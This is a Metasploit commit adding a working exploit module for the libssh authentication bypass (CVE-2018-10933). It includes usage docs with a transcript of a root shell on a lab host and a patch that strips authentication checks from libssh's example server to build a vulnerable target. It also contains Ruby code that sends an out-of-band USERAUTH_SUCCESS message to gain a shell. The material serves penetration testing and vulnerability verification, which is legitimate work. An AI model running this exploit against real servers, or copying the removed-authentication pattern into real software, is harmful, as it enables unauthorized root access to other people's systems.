parent
b9dc8b81aa
commit
f88790c2c0
|
@ -0,0 +1,118 @@
|
|||
## Intro
|
||||
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a `USERAUTH_SUCCESS` message is sent in place of the expected
|
||||
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected.
|
||||
|
||||
Note that this module's success depends on whether the server code
|
||||
can trigger the correct (`shell`/`exec`) callbacks despite only the state
|
||||
machine's authenticated state being set.
|
||||
|
||||
Therefore, you may or may not get a shell if the server requires
|
||||
additional code paths to be followed.
|
||||
|
||||
## Setup
|
||||
|
||||
1. `git clone git://git.libssh.org/projects/libssh.git`
|
||||
2. `cd libssh` and `git checkout libssh-0.8.3`
|
||||
3. `patch -p0 < /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
|
||||
4. Follow the steps in `INSTALL` to build libssh
|
||||
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
|
||||
|
||||
## Options
|
||||
|
||||
**CMD**
|
||||
|
||||
Set this to a command you want to execute in lieu of a standard shell
|
||||
session. An `exec` channel request will be sent instead of a `shell`
|
||||
request.
|
||||
|
||||
**SPAWN_PTY**
|
||||
|
||||
Enable this if you would like a PTY. Some server implementations may
|
||||
require this. Note that you WILL be logged in `utmp`, `wtmp`, and
|
||||
`lastlog` in most cases.
|
||||
|
||||
**CHECK_BANNER**
|
||||
|
||||
This is a banner check for the `libssh` string. It's not sophisticated,
|
||||
and the banner may be changed, but it may prevent false positives due to
|
||||
how the OOB authentication packet always returns `true`.
|
||||
|
||||
## Usage
|
||||
|
||||
Testing against libssh 0.8.3:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3
|
||||
rhosts => 172.28.128.3
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222
|
||||
rport => 2222
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
|
||||
spawn_pty => true
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
# id
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# uname -a
|
||||
uname -a
|
||||
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
# tty
|
||||
tty
|
||||
/dev/pts/1
|
||||
#
|
||||
```
|
||||
|
||||
Negative testing against an insufficiently implemented libssh server:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[-] 172.28.128.3:2222 - shell/exec channel request failed
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Negative testing against OpenSSH:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
|
||||
rport => 22
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:22 - Attempting authentication bypass
|
||||
[-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Confirming auth is still normally present using the OpenSSH client:
|
||||
|
||||
```
|
||||
wvu@kharak:~$ ssh -vp 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null myuser@172.28.128.3
|
||||
[snip]
|
||||
debug1: Authentications that can continue: password
|
||||
debug1: Next authentication method: password
|
||||
myuser@172.28.128.3's password: wrongpassword
|
||||
debug1: Authentications that can continue: password
|
||||
Permission denied, please try again.
|
||||
myuser@172.28.128.3's password: mypassword
|
||||
debug1: Authentication succeeded (password).
|
||||
Authenticated to 172.28.128.3 ([172.28.128.3]:2222).
|
||||
[snip]
|
||||
#
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
--- examples/ssh_server_fork.c.orig 2018-10-17 18:28:06.476708511 +0000
|
||||
+++ examples/ssh_server_fork.c 2018-10-19 05:45:08.754976769 +0000
|
||||
@@ -235,8 +235,6 @@
|
||||
struct session_data_struct {
|
||||
/* Pointer to the channel the session will allocate. */
|
||||
ssh_channel channel;
|
||||
- int auth_attempts;
|
||||
- int authenticated;
|
||||
};
|
||||
|
||||
static int data_function(ssh_session session, ssh_channel channel, void *data,
|
||||
@@ -406,8 +404,8 @@
|
||||
if (cdata->pty_master != -1 && cdata->pty_slave != -1) {
|
||||
return exec_pty("-l", NULL, cdata);
|
||||
}
|
||||
- /* Client requested a shell without a pty, let's pretend we allow that */
|
||||
- return SSH_OK;
|
||||
+
|
||||
+ return exec_nopty("/bin/sh -l", cdata);
|
||||
}
|
||||
|
||||
static int subsystem_request(ssh_session session, ssh_channel channel,
|
||||
@@ -421,16 +419,13 @@
|
||||
|
||||
static int auth_password(ssh_session session, const char *user,
|
||||
const char *pass, void *userdata) {
|
||||
- struct session_data_struct *sdata = (struct session_data_struct *) userdata;
|
||||
-
|
||||
(void) session;
|
||||
+ (void) userdata;
|
||||
|
||||
if (strcmp(user, USER) == 0 && strcmp(pass, PASS) == 0) {
|
||||
- sdata->authenticated = 1;
|
||||
return SSH_AUTH_SUCCESS;
|
||||
}
|
||||
|
||||
- sdata->auth_attempts++;
|
||||
return SSH_AUTH_DENIED;
|
||||
}
|
||||
|
||||
@@ -496,9 +491,7 @@
|
||||
|
||||
/* Our struct holding information about the session. */
|
||||
struct session_data_struct sdata = {
|
||||
- .channel = NULL,
|
||||
- .auth_attempts = 0,
|
||||
- .authenticated = 0
|
||||
+ .channel = NULL
|
||||
};
|
||||
|
||||
struct ssh_channel_callbacks_struct channel_cb = {
|
||||
@@ -530,19 +523,11 @@
|
||||
ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
|
||||
ssh_event_add_session(event, session);
|
||||
|
||||
- n = 0;
|
||||
- while (sdata.authenticated == 0 || sdata.channel == NULL) {
|
||||
- /* If the user has used up all attempts, or if he hasn't been able to
|
||||
- * authenticate in 10 seconds (n * 100ms), disconnect. */
|
||||
- if (sdata.auth_attempts >= 3 || n >= 100) {
|
||||
- return;
|
||||
- }
|
||||
-
|
||||
+ while (sdata.channel == NULL) {
|
||||
if (ssh_event_dopoll(event, 100) == SSH_ERROR) {
|
||||
fprintf(stderr, "%s\n", ssh_get_error(session));
|
||||
return;
|
||||
}
|
||||
- n++;
|
||||
}
|
||||
|
||||
ssh_set_channel_callbacks(sdata.channel, &channel_cb);
|
|
@ -160,4 +160,32 @@ module Msf::Exploit::Remote::SSH::AuthMethods
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# https://tools.ietf.org/rfc/rfc4252.txt
|
||||
#
|
||||
class Net::SSH::Authentication::Methods::LibsshAuthBypass < Net::SSH::Authentication::Methods::Abstract
|
||||
def authenticate(service_name, username, password = nil)
|
||||
debug { 'Sending SSH_MSG_USERAUTH_SUCCESS' }
|
||||
|
||||
# USERAUTH_SUCCESS is OOB and elicits no reply
|
||||
send_message(Net::SSH::Buffer.from(
|
||||
=begin
|
||||
byte SSH_MSG_USERAUTH_SUCCESS
|
||||
=end
|
||||
:byte, USERAUTH_SUCCESS
|
||||
))
|
||||
|
||||
# We can't fingerprint or otherwise reduce false positives using a session
|
||||
# channel open, since most implementations I've seen support only one
|
||||
# session channel and don't support channel closing, so this would block
|
||||
# us from getting a shell
|
||||
#
|
||||
# Secondly, libssh doesn't send a CHANNEL_OPEN_FAILURE when we're not
|
||||
# authed, so we have to wait for a timeout on CHANNEL_OPEN to return false
|
||||
|
||||
# So assume we succeeded until we can verify
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SSH
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'libssh Authentication Bypass Scanner',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a USERAUTH_SUCCESS message is sent in place of the expected
|
||||
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
|
||||
|
||||
Note that this module's success depends on whether the server code
|
||||
can trigger the correct (shell/exec) callbacks despite only the state
|
||||
machine's authenticated state being set.
|
||||
|
||||
Therefore, you may or may not get a shell if the server requires
|
||||
additional code paths to be followed.
|
||||
},
|
||||
'Author' => [
|
||||
'Peter Winter-Smith', # Discovery
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-10933'],
|
||||
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 16 2018',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(22),
|
||||
OptString.new('CMD', [false, 'Command to execute']),
|
||||
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
|
||||
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
factory = ssh_socket_factory
|
||||
|
||||
ssh_opts = {
|
||||
port: rport,
|
||||
# The auth method is converted into a class name for instantiation,
|
||||
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
|
||||
auth_methods: ['libssh-auth-bypass'],
|
||||
non_interactive: true,
|
||||
config: false,
|
||||
use_agent: false,
|
||||
verify_host_key: :never,
|
||||
proxy: factory
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
print_status("#{ip}:#{rport} - Attempting authentication bypass")
|
||||
|
||||
begin
|
||||
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(ip, username, ssh_opts)
|
||||
end
|
||||
rescue Net::SSH::Exception => e
|
||||
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
return unless ssh
|
||||
|
||||
version = ssh.transport.server_version.version
|
||||
|
||||
# XXX: The OOB authentication leads to false positives, so check banner
|
||||
if datastore['CHECK_BANNER'] && !version.include?('libssh')
|
||||
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
|
||||
return
|
||||
end
|
||||
|
||||
report_vuln(
|
||||
host: ip,
|
||||
name: self.name,
|
||||
refs: self.references,
|
||||
info: version
|
||||
)
|
||||
|
||||
shell = Net::SSH::CommandStream.new(ssh, *config)
|
||||
|
||||
# XXX: Wait for CommandStream to log a channel request failure
|
||||
sleep 0.1
|
||||
|
||||
if shell.error
|
||||
print_error("#{ip}:#{rport} - #{shell.error}")
|
||||
return
|
||||
end
|
||||
|
||||
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def username
|
||||
Rex::Text.rand_text_alphanumeric(8..42)
|
||||
end
|
||||
|
||||
def config
|
||||
[
|
||||
datastore['CMD'],
|
||||
pty: datastore['SPAWN_PTY']
|
||||
]
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue